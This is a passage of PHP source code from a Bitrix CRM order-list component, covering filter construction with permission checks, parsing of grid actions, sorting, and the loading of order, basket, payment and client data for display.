} $propertyTableName = "PROPERTY_{$propertyItterator}"; $propertyValueCode = str_replace($name, "{$propertyTableName}.VALUE", $k); if (preg_match('/^[A-Z]/', $propertyValueCode)) { $propertyValueCode = "%{$propertyValueCode}"; } $runtime[] = new Main\Entity\ReferenceField($propertyTableName, \Bitrix\Sale\Internals\OrderPropsValueTable::getEntity(), array( '=ref.ORDER_ID' => 'this.ID', ), array('join_type' => 'inner') ); $result[] = [ "={$propertyTableName}.ORDER_PROPS_ID" => $propertyId, $propertyValueCode => $v ]; $propertyItterator++; } elseif (isset($orderUserFields[$name]) && mb_strpos($name, 'UF_') === 0) { $result[$k] = $v; } elseif (isset($orderFields[$name])) { $result[$k] = $v; } } if (isset($this->arParams['EXTERNAL_FILTER']['USER_ID']) && intval($this->arParams['EXTERNAL_FILTER']['USER_ID']) > 0) { $result['=USER_ID'] = intval($this->arParams['EXTERNAL_FILTER']['USER_ID']); } if (isset($filter['ACTIVITY_COUNTER'])) { $this->addActivityCounterFilter($filter, $result, $runtime); } $contactCompanyFilter = $this->prepareContactCompanyFilter($companyId, $contactIds); if (!empty($contactCompanyFilter)) { //caution! can be problem with filtering by companies from holding from sale module. unset($result['COMPANY_ID'], $result['=COMPANY_ID']); $result = array_merge($result, $contactCompanyFilter); $runtime[] = new Main\Entity\ReferenceField('CLIENT', \Bitrix\Crm\Binding\OrderContactCompanyTable::getEntity(), array( '=ref.ORDER_ID' => 'this.ID', ), array('join_type' => 'LEFT') ); } if (!(is_object($USER) && $USER->IsAdmin()) && (!array_key_exists('CHECK_PERMISSIONS', $filter) || $filter['CHECK_PERMISSIONS'] !== 'N') ) { $permissionSql = \CCrmPerms::BuildSql( \CCrmOwnerType::OrderName, '', 'READ', array('RAW_QUERY' => true, 'PERMS' => \CCrmPerms::GetCurrentUserPermissions()) ); if ($permissionSql <> '') { if (isset($result['@ID'])) { $result[] = [ '@ID' => new Bitrix\Main\DB\SqlExpression($permissionSql) ]; } else { $result['@ID'] = new Bitrix\Main\DB\SqlExpression($permissionSql); } } } Tracking\UI\Filter::buildOrmFilter($result, $filter, \CCrmOwnerType::Order, $runtime); return $result; } private function formatUIFilter(array $filter) { foreach ($filter as $k => $v) { if (preg_match('/(.*)_from$/i' . BX_UTF_PCRE_MODIFIER, $k, $arMatch)) { \Bitrix\Crm\UI\Filter\Range::prepareFrom($filter, $arMatch[1], $v); } elseif (preg_match('/(.*)_to$/i' . BX_UTF_PCRE_MODIFIER, $k, $arMatch)) { $dateFieldNames = ['DATE_INSERT', 'DATE_UPDATE', 'SHIPMENT_DELIVERY_DOC_DATE']; if ($v != '' && in_array($arMatch[1], $dateFieldNames) && !preg_match('/\d{1,2}:\d{1,2}(:\d{1,2})?$/' . BX_UTF_PCRE_MODIFIER, $v)) { $v = CCrmDateTimeHelper::SetMaxDayTime($v); } \Bitrix\Crm\UI\Filter\Range::prepareTo($filter, $arMatch[1], $v); } } return $filter; } private function prepareSearchFilterValue($value) { $preparedFindFilter = []; $find = trim($value); if ($find !== '') { $preparedFindFilter = \Bitrix\Crm\Search\SearchEnvironment::prepareEntityFilter( CCrmOwnerType::Order, array( 'SEARCH_CONTENT' => \Bitrix\Crm\Search\SearchEnvironment::prepareSearchContent($find) ) ); } return $preparedFindFilter; } private function prepareContactCompanyFilter($companyId, array $contactIds) { $result = []; if (isset($this->arParams['EXTERNAL_FILTER']) && is_array($this->arParams['EXTERNAL_FILTER'])) { if (isset($this->arParams['EXTERNAL_FILTER']['CONTACT_IDS']) && is_array($this->arParams['EXTERNAL_FILTER']['CONTACT_IDS'])) { $contactIds = $this->arParams['EXTERNAL_FILTER']['CONTACT_IDS']; } if (isset($this->arParams['EXTERNAL_FILTER']['COMPANY_ID'])) { $companyId = $this->arParams['EXTERNAL_FILTER']['COMPANY_ID']; } } if ($companyId > 0 && !empty($contactIds)) { $result[] = [ 'LOGIC' => 'OR', [ '=CLIENT.ENTITY_TYPE_ID' => CCrmOwnerType::Company, '=CLIENT.ENTITY_ID' => $companyId, ], [ '=CLIENT.ENTITY_TYPE_ID' => CCrmOwnerType::Contact, '=CLIENT.ENTITY_ID' => $contactIds, ], ]; } elseif ($companyId > 0) { $result['=CLIENT.ENTITY_ID'] = $companyId; $result['=CLIENT.ENTITY_TYPE_ID'] = CCrmOwnerType::Company; } elseif (!empty($contactIds)) { $result['=CLIENT.ENTITY_ID'] = $contactIds; $result['=CLIENT.ENTITY_TYPE_ID'] = CCrmOwnerType::Contact; } return $result; } protected function getActionData() { //region Try to extract user action data // We have to extract them before call of CGridOptions::GetFilter() or the custom filter will be corrupted. $actionData = array( 'METHOD' => $_SERVER['REQUEST_METHOD'], 'ACTIVE' => false ); if (check_bitrix_sessid()) { $postAction = 'action_button_' . $this->arResult['GRID_ID']; $getAction = 'action_' . $this->arResult['GRID_ID']; //We need to check grid 'controls' $controls = isset($_POST['controls']) && is_array($_POST['controls']) ? $_POST['controls'] : array(); if ($actionData['METHOD'] == 'POST' && (isset($controls[$postAction]) || isset($_POST[$postAction]))) { CUtil::JSPostUnescape(); $actionData['ACTIVE'] = true; if (isset($controls[$postAction])) { $actionData['NAME'] = $controls[$postAction]; } else { $actionData['NAME'] = $_POST[$postAction]; unset($_POST[$postAction], $_REQUEST[$postAction]); } $allRows = 'action_all_rows_' . $this->arResult['GRID_ID']; $actionData['ALL_ROWS'] = false; if (isset($controls[$allRows])) { $actionData['ALL_ROWS'] = $controls[$allRows] == 'Y'; } elseif (isset($_POST[$allRows])) { $actionData['ALL_ROWS'] = $_POST[$allRows] == 'Y'; unset($_POST[$allRows], $_REQUEST[$allRows]); } if (isset($_POST['rows']) && is_array($_POST['rows'])) { $actionData['ID'] = $_POST['rows']; } elseif (isset($_POST['ID'])) { $actionData['ID'] = $_POST['ID']; unset($_POST['ID'], $_REQUEST['ID']); } if (isset($_POST['FIELDS'])) { $actionData['FIELDS'] = $_POST['FIELDS']; unset($_POST['FIELDS'], $_REQUEST['FIELDS']); } if (isset($_POST['ACTION_STATUS_ID']) || isset($controls['ACTION_STATUS_ID'])) { if (isset($_POST['ACTION_STATUS_ID'])) { $actionData['STATUS_ID'] = trim($_POST['ACTION_STATUS_ID']); unset($_POST['ACTION_STATUS_ID'], $_REQUEST['ACTION_STATUS_ID']); } else { $actionData['STATUS_ID'] = trim($controls['ACTION_STATUS_ID']); } } if (isset($_POST['ACTION_LID']) || isset($controls['ACTION_LID'])) { if (isset($_POST['ACTION_LID'])) { $actionData['LID'] = intval($_POST['ACTION_LID']); unset($_POST['ACTION_LID'], $_REQUEST['ACTION_LID']); } else { $actionData['LID'] = intval($controls['ACTION_LID']); } } if (isset($_POST['ACTION_RESPONSIBLE_BY_ID']) || isset($controls['ACTION_RESPONSIBLE_BY_ID'])) { $responsibleById = 0; if (isset($_POST['ACTION_RESPONSIBLE_BY_ID'])) { if (!is_array($_POST['ACTION_RESPONSIBLE_BY_ID'])) { $responsibleById = intval($_POST['ACTION_RESPONSIBLE_BY_ID']); } elseif (count($_POST['ACTION_RESPONSIBLE_BY_ID']) > 0) { $responsibleById = intval($_POST['ACTION_RESPONSIBLE_BY_ID'][0]); } unset($_POST['ACTION_RESPONSIBLE_BY_ID'], $_REQUEST['ACTION_RESPONSIBLE_BY_ID']); } else { $responsibleById = (int)$controls['ACTION_RESPONSIBLE_BY_ID']; } $actionData['RESPONSIBLE_BY_ID'] = $responsibleById; } if (isset($_POST['ACTION_OPENED']) || isset($controls['ACTION_OPENED'])) { if (isset($_POST['ACTION_OPENED'])) { $actionData['OPENED'] = mb_strtoupper($_POST['ACTION_OPENED']) === 'Y' ? 'Y' : 'N'; unset($_POST['ACTION_OPENED'], $_REQUEST['ACTION_OPENED']); } else { $actionData['OPENED'] = mb_strtoupper($controls['ACTION_OPENED']) === 'Y' ? 'Y' : 'N'; } } $actionData['AJAX_CALL'] = $this->arResult['IS_AJAX_CALL']; } elseif ($actionData['METHOD'] == 'GET' && isset($_GET[$getAction])) { $actionData['ACTIVE'] = check_bitrix_sessid(); $actionData['NAME'] = $_GET[$getAction]; unset($_GET[$getAction], $_REQUEST[$getAction]); if (isset($_GET['ID'])) { $actionData['ID'] = $_GET['ID']; unset($_GET['ID'], $_REQUEST['ID']); } $actionData['AJAX_CALL'] = $this->arResult['IS_AJAX_CALL']; } } return $actionData; } /** * @param string $code * @param Bitrix\Sale\TradingPlatform\Platform $class * @return string */ protected function getTradingPlatformName($code, $class) { if ($code == '' || !class_exists($class)) { return ''; } $tradingPlatform = $class::getInstanceByCode($code); return $tradingPlatform->getRealName(); } /** * @param array $arSort * @param Grid\Options $gridOptions * @param array $visibleColumns * @param array $headers * @return array */ protected function getSortFields(array $arSort, Grid\Options $gridOptions, array $visibleColumns, array $headers): array { $gridSort = $gridOptions->GetSorting(array( 'sort' => array('ID' => 'desc'), 'vars' => array('by' => 'by', 'order' => 'order') )); $tmpSort = !empty($arSort) ? $arSort : $gridSort['sort']; $resultSort = []; foreach ($headers as $header) { if (empty($header['sort'])) { continue; } $sortColumn = $header['sort']; if (isset($tmpSort[$sortColumn])) { $resultSort[$sortColumn] = $tmpSort[$sortColumn]; unset($tmpSort[$sortColumn]); if (empty($tmpSort[$sortColumn])) { break; } } } return [$resultSort, $gridSort['vars']]; } public function executeComponent() { global $USER_FIELD_MANAGER, $APPLICATION, $USER; if (!$this->init()) { $this->showErrors(); return false; } $this->arParams = $this->prepareParams($this->arParams); if (!$this->initUrlBuilder()) { $this->showErrors(); return false; } $currentPage = $APPLICATION->GetCurPage(); $this->arResult['CURRENT_USER_ID'] = CCrmSecurityHelper::GetCurrentUserID(); $this->arResult['PATH_TO_ORDER_LIST'] = $this->arParams['PATH_TO_ORDER_LIST'] = CrmCheckPath('PATH_TO_ORDER_LIST', $this->arParams['PATH_TO_ORDER_LIST'], $APPLICATION->GetCurPage()); $this->arResult['PATH_TO_ORDER_WIDGET'] = $this->arParams['PATH_TO_ORDER_WIDGET'] = CrmCheckPath('PATH_TO_ORDER_WIDGET', $this->arParams['PATH_TO_ORDER_WIDGET'], $APPLICATION->GetCurPage()); $this->arResult['PATH_TO_ORDER_KANBAN'] = $this->arParams['PATH_TO_ORDER_KANBAN'] = CrmCheckPath('PATH_TO_ORDER_KANBAN', $this->arParams['PATH_TO_ORDER_KANBAN'], $currentPage); $this->arResult['PATH_TO_CURRENT_LIST'] = ($this->arParams['IS_RECURRING'] !== 'Y') ? $this->arParams['PATH_TO_ORDER_LIST'] : $this->arParams['PATH_TO_ORDER_RECUR']; $this->arResult['ADD_EVENT_NAME'] = $this->arParams['ADD_EVENT_NAME'] !== '' ? preg_replace('/[^a-zA-Z0-9_]/', '', $this->arParams['ADD_EVENT_NAME']) : ''; $this->arResult['IS_AJAX_CALL'] = isset($_REQUEST['AJAX_CALL']) || isset($_REQUEST['ajax_request']) || !!CAjax::GetSession(); $this->arResult['SESSION_ID'] = bitrix_sessid(); $this->arResult['NAVIGATION_CONTEXT_ID'] = isset($this->arParams['NAVIGATION_CONTEXT_ID']) ? $this->arParams['NAVIGATION_CONTEXT_ID'] : ''; $this->arResult['PRESERVE_HISTORY'] = isset($this->arParams['PRESERVE_HISTORY']) ? $this->arParams['PRESERVE_HISTORY'] : false; $this->arResult['STATUS_LIST'] = []; $statusList = Order\OrderStatus::getListInCrmFormat(); foreach ($statusList as $status) { $this->arResult['STATUS_LIST'][$status['STATUS_ID']] = htmlspecialcharsbx($status['NAME']); } $this->arResult['ENABLE_SLIDER'] = \Bitrix\Crm\Settings\LayoutSettings::getCurrent()->isSliderEnabled(); if (LayoutSettings::getCurrent()->isSimpleTimeFormatEnabled()) { $this->arResult['TIME_FORMAT'] = array( 'tommorow' => 'tommorow', 's' => 'sago', 'i' => 'iago', 'H3' => 'Hago', 'today' => 'today', 'yesterday' => 'yesterday', //'d7' => 'dago', '-' => Main\Type\DateTime::convertFormatToPhp(FORMAT_DATE) ); } else { $this->arResult['TIME_FORMAT'] = preg_replace('/:s$/', '', Main\Type\DateTime::convertFormatToPhp(FORMAT_DATETIME)); } $this->arResult['SALESCENTER_MODE'] = ($this->arParams['SALESCENTER_MODE'] === true); $this->arResult['CALL_LIST_UPDATE_MODE'] = isset($_REQUEST['call_list_context']) && isset($_REQUEST['call_list_id']) && IsModuleInstalled('voximplant'); $this->arResult['CALL_LIST_CONTEXT'] = (string)$_REQUEST['call_list_context']; $this->arResult['CALL_LIST_ID'] = (int)$_REQUEST['call_list_id']; if ($this->arResult['CALL_LIST_UPDATE_MODE']) { AddEventHandler('crm', 'onCrmOrderListItemBuildMenu', array('\Bitrix\Crm\CallList\CallList', 'handleOnCrmOrderListItemBuildMenu')); } \Bitrix\Crm\Order\Permissions\Order::prepareConversionPermissionFlags(0, $this->arResult, $this->userPermissions); if ($this->arResult['CAN_CONVERT']) { $config = \Bitrix\Crm\Conversion\OrderConversionConfig::load(); if ($config === null) { $config = \Bitrix\Crm\Conversion\OrderConversionConfig::getDefault(); } $this->arResult['CONVERSION_CONFIG'] = $config; } $arSort = array(); $runtime = array(); $this->arResult['FORM_ID'] = isset($this->arParams['FORM_ID']) ? $this->arParams['FORM_ID'] : ''; $this->arResult['TAB_ID'] = isset($this->arParams['TAB_ID']) ? $this->arParams['TAB_ID'] : ''; $this->arResult['INTERNAL'] = $this->isInternal; if (!empty($this->arParams['INTERNAL_FILTER']) && is_array($this->arParams['INTERNAL_FILTER'])) { if (empty($this->arParams['GRID_ID_SUFFIX'])) { $this->arParams['GRID_ID_SUFFIX'] = $this->GetParent() !== null ? mb_strtoupper($this->GetParent()->GetName()) : ''; } } if (!empty($this->arParams['INTERNAL_SORT']) && is_array($this->arParams['INTERNAL_SORT'])) $arSort = $this->arParams['INTERNAL_SORT']; $this->arResult['IS_EXTERNAL_FILTER'] = false; $CCrmUserType = new CCrmUserType($USER_FIELD_MANAGER, Order\Order::getUfId()); $this->arResult['GRID_ID'] = $this->combineGridIdentifier(); $this->arResult['EVENT_LIST'] = CCrmStatus::GetStatusListEx('EVENT_TYPE'); $this->arResult['FILTER'] = array(); $this->arResult['FILTER_PRESETS'] = array(); $this->arResult['PERMS']['ADD'] = \Bitrix\Crm\Order\Permissions\Order::checkCreatePermission($this->userPermissions); $this->arResult['PERMS']['WRITE'] = \Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission(0, $this->userPermissions); $this->arResult['PERMS']['DELETE'] = \Bitrix\Crm\Order\Permissions\Order::checkDeletePermission(0, $this->userPermissions); $this->arResult['AJAX_MODE'] = isset($this->arParams['AJAX_MODE']) ? $this->arParams['AJAX_MODE'] : ($this->arResult['INTERNAL'] ? 'N' : 'Y'); $this->arResult['AJAX_ID'] = isset($this->arParams['AJAX_ID']) ? $this->arParams['AJAX_ID'] : ''; $this->arResult['AJAX_OPTION_JUMP'] = isset($this->arParams['AJAX_OPTION_JUMP']) ? $this->arParams['AJAX_OPTION_JUMP'] : 'N'; $this->arResult['AJAX_OPTION_HISTORY'] = isset($this->arParams['AJAX_OPTION_HISTORY']) ? $this->arParams['AJAX_OPTION_HISTORY'] : 'N'; $this->arResult['EXTERNAL_SALES'] = CCrmExternalSaleHelper::PrepareListItems(); //endregion Filter Presets Initialization $currentUserID = $this->arResult['CURRENT_USER_ID']; $currentUserName = CCrmViewHelper::GetFormattedUserName($currentUserID, $this->arParams['NAME_TEMPLATE']); $this->arResult['FILTER_PRESETS'] = array( 'filter_in_work' => array( 'name' => Loc::getMessage('CRM_PRESET_IN_WORK'), 'default' => true, 'fields' => array('STATUS_ID' => Order\OrderStatus::getSemanticProcessStatuses()) ), 'filter_my' => array( 'name' => Loc::getMessage('CRM_PRESET_MY'), 'fields' => array( 'RESPONSIBLE_ID_name' => $currentUserName, 'RESPONSIBLE_ID' => $currentUserID, 'STATUS_ID' => Order\OrderStatus::getSemanticProcessStatuses() ) ), 'filter_won' => array( 'name' => Loc::getMessage('CRM_PRESET_WON'), 'fields' => array('STATUS_ID' => array(Order\OrderStatus::getFinalStatus())) ) ); $this->arResult['HEADERS'] = $this->getHeaders(); $CCrmUserType->ListAddHeaders($this->arResult['HEADERS']); $actionData = $this->getActionData(); // HACK: for clear filter by CREATED_BY, MODIFY_BY_ID and RESPONSIBLE_BY_ID if ($_SERVER['REQUEST_METHOD'] === 'GET') { if (isset($_REQUEST['CREATED_BY_name']) && $_REQUEST['CREATED_BY_name'] === '') { $_REQUEST['CREATED_BY'] = $_GET['CREATED_BY'] = array(); } if (isset($_REQUEST['RESPONSIBLE_BY_ID_name']) && $_REQUEST['RESPONSIBLE_BY_ID_name'] === '') { $_REQUEST['RESPONSIBLE_BY_ID'] = $_GET['RESPONSIBLE_BY_ID'] = array(); } } if (intval($this->arParams['ORDER_COUNT']) <= 0) $this->arParams['ORDER_COUNT'] = 20; $arNavParams = array( 'nPageSize' => $this->arParams['ORDER_COUNT'] ); $gridOptions = new \Bitrix\Main\Grid\Options($this->arResult['GRID_ID'], $this->arResult['FILTER_PRESETS']); $filter = $this->createFilter(); $arNavParams = $gridOptions->GetNavParams($arNavParams); $arNavParams['bShowAll'] = false; $CCrmUserType->PrepareListFilterValues($this->arResult['FILTER'], $filter, $this->arResult['GRID_ID']); $USER_FIELD_MANAGER->AdminListAddFilter(Order\Order::getUfId(), $filter); // converts data from filter \Bitrix\Crm\UI\Filter\EntityHandler::internalize($this->arResult['FILTER'], $filter); $visibleColumns = $gridOptions->GetVisibleColumns(); // Fill in default values if empty if (empty($visibleColumns)) { foreach ($this->arResult['HEADERS'] as $arHeader) { if ($arHeader['default']) { $visibleColumns[] = $arHeader['id']; } } //Disable bizproc fields processing $this->arResult['ENABLE_BIZPROC'] = false; } else { //Check if bizproc fields selected $hasBizprocFields = false; foreach ($visibleColumns as $key => &$fieldName) { if (mb_substr($fieldName, 0, 8) === 'BIZPROC_') { $hasBizprocFields = true; break; } } $this->arResult['ENABLE_BIZPROC'] = $hasBizprocFields; unset($fieldName); } [$this->arResult['SORT'], $this->arResult['SORT_VARS']] = $this->getSortFields( $arSort, $gridOptions, $visibleColumns, $this->arResult['HEADERS'] ); if ($CCrmUserType->NormalizeFields($visibleColumns)) { $gridOptions->SetVisibleColumns($visibleColumns); } $columns = $visibleColumns; if ($this->isExportMode() && $this->exportParams['STEXPORT_EXPORT_ALL_FIELDS'] === 'Y') { $columns = array_column($this->arResult['HEADERS'], 'id'); } $arSelect = array_intersect($columns, \Bitrix\Crm\Order\Order::getAllFields()); $userFields = $CCrmUserType->GetFields(); $ufColumns = []; if (is_array($userFields) && !empty($userFields)) { if ($this->isExportMode() && $this->exportParams['STEXPORT_EXPORT_ALL_FIELDS'] === 'Y') { $ufColumns = array_keys($userFields); } else { $ufColumns = array_intersect(array_keys($userFields), $visibleColumns); } if (!empty($ufColumns)) { $arSelect = array_merge($arSelect, $ufColumns); } } if ($this->isExportMode()) { $this->exportParams['SELECTED_HEADERS'] = array_merge($columns, $ufColumns); } $arSelect[] = 'ORDER_TOPIC'; $this->arResult['ENABLE_TASK'] = IsModuleInstalled('tasks'); if ($this->arResult['ENABLE_TASK']) { $this->arResult['TASK_CREATE_URL'] = CHTTP::urlAddParams( CComponentEngine::MakePathFromTemplate( COption::GetOptionString('tasks', 'paths_task_user_edit', ''), array( 'task_id' => 0, 'user_id' => $this->userId ) ), array( 'UF_CRM_TASK' => '#ENTITY_KEYS#', 'ORDER_TOPIC' => urlencode(Loc::getMessage('CRM_TASK_TITLE_PREFIX')), 'TAGS' => urlencode(Loc::getMessage('CRM_TASK_TAG')), 'back_url' => urlencode($this->arParams['PATH_TO_ORDER_LIST']) ) ); } if (!in_array('ACCOUNT_NUMBER', $arSelect, true)) $arSelect[] = 'ACCOUNT_NUMBER'; if (!in_array('REASON_CANCELED', $arSelect, true)) $arSelect[] = 'REASON_CANCELED'; if (in_array('CREATED_BY', $arSelect, true)) { $addictFields = array( 'CREATED_BY_LOGIN' => 'CREATED_USER.LOGIN', 'CREATED_BY_NAME' => 'CREATED_USER.NAME', 'CREATED_BY_LAST_NAME' => 'CREATED_USER.LAST_NAME', 'CREATED_BY_SECOND_NAME' => 'CREATED_USER.SECOND_NAME' ); $arSelect = array_merge($arSelect, $addictFields); unset($addictFields); } if (in_array('USER_ID', $arSelect, true)) { $addictFields = array( 'USER_LOGIN' => 'USER.LOGIN', 'USER_NAME' => 'USER.NAME', 'USER_LAST_NAME' => 'USER.LAST_NAME', 'USER_SECOND_NAME' => 'USER.SECOND_NAME' ); $arSelect = array_merge($arSelect, $addictFields); unset($addictFields); } if (in_array('ACTIVITY_ID', $visibleColumns, true)) { $this->addActivitySelection($arSelect, $runtime); } if (in_array('SUM', $visibleColumns, true)) { $arSelect[] = 'PRICE'; $arSelect[] = 'CURRENCY'; } if (in_array('SOURCE', $visibleColumns, true)) { $arSelect["TRADING_PLATFORM_CODE"] = 'TRADING_PLATFORM.TRADING_PLATFORM.CODE'; $arSelect["TRADING_PLATFORM_CLASS"] = 'TRADING_PLATFORM.TRADING_PLATFORM.CLASS'; } if (in_array('RESPONSIBLE_BY', $visibleColumns, true)) { $arSelect[] = 'RESPONSIBLE_ID'; $this->addUserInfoSelection('RESPONSIBLE_ID', 'RESPONSIBLE_BY', $arSelect, $runtime); } if (in_array('EMP_PAYED_ID', $visibleColumns, true)) { $arSelect[] = 'EMP_PAYED_ID'; $this->addUserInfoSelection('EMP_PAYED_ID', 'EMP_PAYED_ID', $arSelect, $runtime); } if (in_array('EMP_CANCELED_ID', $visibleColumns, true)) { $arSelect[] = 'EMP_CANCELED_ID'; $this->addUserInfoSelection('EMP_CANCELED_ID', 'EMP_CANCELED_ID', $arSelect, $runtime); } if (in_array('EMP_STATUS_ID', $visibleColumns, true)) { $arSelect[] = 'EMP_STATUS_ID'; $this->addUserInfoSelection('EMP_STATUS_ID', 'EMP_STATUS_ID', $arSelect, $runtime); } if (in_array('EMP_ALLOW_DELIVERY_ID', $visibleColumns, true)) { $arSelect[] = 'EMP_ALLOW_DELIVERY_ID'; $this->addUserInfoSelection('EMP_ALLOW_DELIVERY_ID', 'EMP_ALLOW_DELIVERY_ID', $arSelect, $runtime); } if (in_array('EMP_DEDUCTED_ID', $visibleColumns, true)) { $arSelect[] = 'EMP_DEDUCTED_ID'; $this->addUserInfoSelection('EMP_DEDUCTED_ID', 'EMP_DEDUCTED_ID', $arSelect, $runtime); } if (in_array('USER', $visibleColumns, true)) { $arSelect[] = 'USER_ID'; $this->addUserInfoSelection('USER_ID', 'USER', $arSelect, $runtime); } // Always need to remove the menu items if (!in_array('STATUS_ID', $arSelect)) $arSelect[] = 'STATUS_ID'; // For bizproc if (!in_array('RESPONSIBLE_ID', $arSelect)) $arSelect[] = 'RESPONSIBLE_ID'; // ID must present in select if (!in_array('ID', $arSelect)) $arSelect[] = 'ID'; $nTopCount = false; if ($nTopCount > 0) $arNavParams['nTopCount'] = $nTopCount; // HACK: Make custom sort for RESPONSIBLE_BY field $arSort = $this->arResult['SORT']; if (isset($arSort['responsible_by'])) { $arSort['responsible_by_last_name'] = $arSort['responsible_by']; $arSort['responsible_by_name'] = $arSort['responsible_by']; $arSort['responsible_by_login'] = $arSort['responsible_by']; unset($arSort['responsible_by']); } if (isset($arSort['USER'])) { $arSort['USER_ID'] = $arSort['USER']; unset($arSort['USER']); } $arOptions = $arExportOptions = array('FIELD_OPTIONS' => array('ADDITIONAL_FIELDS' => array())); if (in_array('ACTIVITY_ID', $arSelect, true)) { $arOptions['FIELD_OPTIONS']['ADDITIONAL_FIELDS'][] = 'ACTIVITY'; $arExportOptions['FIELD_OPTIONS']['ADDITIONAL_FIELDS'][] = 'ACTIVITY'; } if (isset($arSort['contact_full_name'])) { $arSort['contact_last_name'] = $arSort['contact_full_name']; $arSort['contact_name'] = $arSort['contact_full_name']; unset($arSort['contact_full_name']); } if (isset($arSort['order_client'])) { $arSort['contact_last_name'] = $arSort['order_client']; $arSort['contact_name'] = $arSort['order_client']; $arSort['company_title'] = $arSort['order_client']; unset($arSort['order_client']); } if (isset($this->arParams['IS_EXTERNAL_CONTEXT'])) { $arOptions['IS_EXTERNAL_CONTEXT'] = $this->arParams['IS_EXTERNAL_CONTEXT']; } //FIELD_OPTIONS $arSelect = array_unique($arSelect, SORT_STRING); $this->arResult['ORDER'] = array(); $this->arResult['ORDER_ID'] = array(); $this->arResult['ORDER_UF'] = array(); $glFilter = $this->createGlFilter($filter, $runtime); // POST & GET actions processing --> $this->requestProcessing($actionData, $glFilter); //region Navigation data initialization $nav = $this->getNavigation($arNavParams, $glFilter, $arSelect, $runtime); $glParams = array( 'filter' => $glFilter, 'order' => $arSort, 'select' => $arSelect, 'offset' => $nav->getOffset(), 'limit' => $nav->getLimit() ); if (is_array($glFilter)) { $filterKeys = array_keys($glFilter); if (preg_grep("/^SHIPMENT./", $filterKeys) || preg_grep("/^PAYMENT./", $filterKeys)) { $glParams['group'] = 'ID'; } } if (!empty($runtime)) { $glParams['runtime'] = $runtime; } $dbResult = Bitrix\Crm\Order\Order::getList($glParams); while ($arOrder = $dbResult->fetch()) { $this->arResult['ORDER'][$arOrder['ID']] = $arOrder; $this->arResult['ORDER_ID'][$arOrder['ID']] = $arOrder['ID']; $this->arResult['ORDER_UF'][$arOrder['ID']] = array(); } $this->arResult['ROWS_COUNT'] = $nav->getRecordCount(); $enableNextPage = ($nav->getPageCount() > $nav->getCurrentPage()); if ($this->isExportMode()) { $this->exportParams['STEXPORT_IS_FIRST_PAGE'] = 'N'; $this->exportParams['STEXPORT_IS_LAST_PAGE'] = 'N'; if ($nav->getCurrentPage() === 1) { $this->exportParams['STEXPORT_TOTAL_ITEMS'] = $nav->getRecordCount(); $this->exportParams['STEXPORT_IS_FIRST_PAGE'] = 'Y'; } elseif ($enableNextPage) { $this->exportParams['STEXPORT_IS_LAST_PAGE'] = 'Y'; } } //region Navigation data storing $this->arResult['PAGINATION'] = array( 'PAGE_NUM' => $nav->getCurrentPage(), 'ENABLE_NEXT_PAGE' => $enableNextPage, 'NAV_OBJECT' => $nav, //"SEF_MODE" => "Y", "SHOW_COUNT" => "N" ); $this->arResult['DB_FILTER'] = $glFilter; if (!isset($_SESSION['CRM_GRID_DATA'])) { $_SESSION['CRM_GRID_DATA'] = array(); } $_SESSION['CRM_GRID_DATA'][$this->arResult['GRID_ID']] = array( 'FILTER' => $glFilter, 'SELECT' => $arSelect, 'RUNTIME' => $runtime ); //endregion $entityAttrs = \Bitrix\Crm\Order\Permissions\Order::getPermissionAttributes(array_keys($this->arResult['ORDER'])); $this->arResult['PAGINATION']['URL'] = $APPLICATION->GetCurPageParam('', array('apply_filter', 'clear_filter', 'save', 'page', 'sessid', 'internal')); $now = time() + CTimeZone::GetOffset(); $aclivitylessItems = array(); $currencyList = \CCrmCurrencyHelper::PrepareListItems(); $personTypes = \Bitrix\Crm\Order\PersonType::load(SITE_ID); $ordersIds = array_keys($this->arResult['ORDER']); $basketData = []; if (in_array('BASKET', $visibleColumns, true)) { $basketData = $this->loadBasketData($ordersIds); } $shipmentData = []; if (in_array('SHIPMENT', $visibleColumns, true)) { $shipmentData = $this->loadShipmentData($ordersIds); } $paymentData = []; if (in_array('PAYMENT', $visibleColumns, true)) { $paymentData = $this->loadPaymentData($ordersIds); } $clientData = []; $needContactAndCompany = in_array('CLIENT', $visibleColumns, true); $needContact = $needContactAndCompany || in_array('CONTACT', $visibleColumns, true); $needCompany = $needContactAndCompany || in_array('COMPANY', $visibleColumns, true); if ($needContact || $needCompany) { $clientData = $this->loadClientData($ordersIds, $needContact, $needCompany); } foreach ($this->arResult['ORDER'] as &$arOrder) { $entityID = $arOrder['ID']; $arOrder['DATE_INSERT'] = !empty($arOrder['DATE_INSERT']) ? CCrmComponentHelper::TrimDateTimeString(ConvertTimeStamp(MakeTimeStamp($arOrder['DATE_INSERT']), 'FULL', SITE_ID)) : ''; $currencyID = isset($arOrder['CURRENCY']) ? $arOrder['CURRENCY'] : CCrmCurrency::GetBaseCurrencyID(); $arOrder['CURRENCY'] = htmlspecialcharsbx($currencyList[$currencyID]); $arOrder['PATH_TO_ORDER_DETAILS'] = CComponentEngine::MakePathFromTemplate( $this->arParams['PATH_TO_ORDER_DETAILS'], array('order_id' => $entityID) ); $arOrder['PATH_TO_ORDER_SHOW'] = $arOrder['PATH_TO_ORDER_DETAILS']; $arOrder['PATH_TO_ORDER_EDIT'] = CCrmUrlUtil::AddUrlParams( $arOrder['PATH_TO_ORDER_DETAILS'], array('init_mode' => 'edit') ); $arOrder['PATH_TO_ORDER_COPY'] = CHTTP::urlAddParams( $arOrder['PATH_TO_ORDER_EDIT'], array('copy' => 1) ); $arOrder['PATH_TO_ORDER_DELETE'] = CHTTP::urlAddParams( $this->isInternal ? $APPLICATION->GetCurPage() : $this->arParams['PATH_TO_CURRENT_LIST'], array('action_' . $this->arResult['GRID_ID'] => 'delete', 'ID' => $entityID, 'sessid' => $this->arResult['SESSION_ID']) ); $contactID = isset($arOrder['~CONTACT_ID']) ? intval($arOrder['~CONTACT_ID']) : 0; $arOrder['PATH_TO_CONTACT_SHOW'] = $contactID <= 0 ? '' : CComponentEngine::MakePathFromTemplate($this->arParams['PATH_TO_CONTACT_SHOW'], array('contact_id' => $contactID)); $arOrder['~CONTACT_FORMATTED_NAME'] = $contactID <= 0 ? '' : CCrmContact::PrepareFormattedName( array( 'HONORIFIC' => isset($arOrder['~CONTACT_HONORIFIC']) ? $arOrder['~CONTACT_HONORIFIC'] : '', 'NAME' => isset($arOrder['~CONTACT_NAME']) ? $arOrder['~CONTACT_NAME'] : '', 'LAST_NAME' => isset($arOrder['~CONTACT_LAST_NAME']) ? $arOrder['~CONTACT_LAST_NAME'] : '', 'SECOND_NAME' => isset($arOrder['~CONTACT_SECOND_NAME']) ? 